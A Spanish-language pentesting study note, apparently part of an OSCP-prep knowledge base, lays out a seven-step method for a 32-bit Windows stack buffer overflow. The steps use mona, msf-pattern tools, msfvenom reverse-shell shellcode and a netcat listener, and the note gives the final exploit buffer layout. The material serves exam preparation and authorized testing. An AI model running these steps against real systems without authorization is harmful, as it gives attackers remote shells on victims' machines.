JARVIS/nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md
sito 7e06ce46cf saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
2026-08-16 17:58:41 +02:00

2 KiB

Buffer Overflow (stack, 32-bit)

El clásico stack BOF de Windows. En el OSCP actual pesa menos (el examen va más a AD), pero sigue cayendo. Metodología de 7 pasos. Fuente: oscp.trastero.org/b0f. Herramientas: Immunity Debugger + mona.py, msf-pattern_create/offset, msfvenom, nc.

Setup de mona (una vez)

!mona config -set workingfolder c:\mona\%p

Los 7 pasos

[ prefix ] + [ "A"*offset ] + [ JMP ESP ] + [ NOPs ] + [ shellcode ]

1. Fuzzing — encontrar el crash

Script Python que envía buffers crecientes (+100 bytes) hasta que la app casca.

2. Offset — posición exacta del EIP

msf-pattern_create -l 3000                 # mándalo como buffer
msf-pattern_offset -l 3000 -q 39694438     # el valor que quedó en EIP
# alternativa en mona:
!mona findmsp -distance 3000               # te da "EIP contains normal pattern ... offset XXXX"

3. Controlar EIP — confirmar

Envía "A"*offset + "BBBB" → en el debugger EIP = 42424242. Control confirmado.

4. Badchars — bytes que corrompen

!mona bytearray -b "\x00"        # genera \x01..\xff
# envías offset + "BBBB" + bytearray, y comparas en memoria (ESP):
!mona compare -f C:\mona\app\bytearray.bin -a <ESP>

Quita los corruptos (típico: \x00, a veces \x0a \x0d) y repite hasta "unmodified".

5. JMP ESP — la dirección de retorno

!mona jmp -r esp -cpb "\x00\x0a\x0d"     # busca un JMP ESP sin badchars
# alternativa: objdump -d vuln.exe | grep -i 'jmp.*esp'

Apunta la dirección en little-endian (ej. 0x625011AF\xAF\x11\x50\x62).

6. Shellcode con msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread \
  -b "\x00\x0a\x0d" -f py -v shellcode
# Linux: -p linux/x86/shell_reverse_tcp ... -e x86/shikata_ga_nai

7. Exploit final

buffer = prefix + b"A"*offset + jmp_esp + b"\x90"*16 + shellcode

Levanta nc -lvnp 443 (Reverse shell) y lanza. NOP sled (\x90*16) da margen al decoder.

Relacionado: Metasploit · Reverse shell · Exploits conocidos · OSCP MOC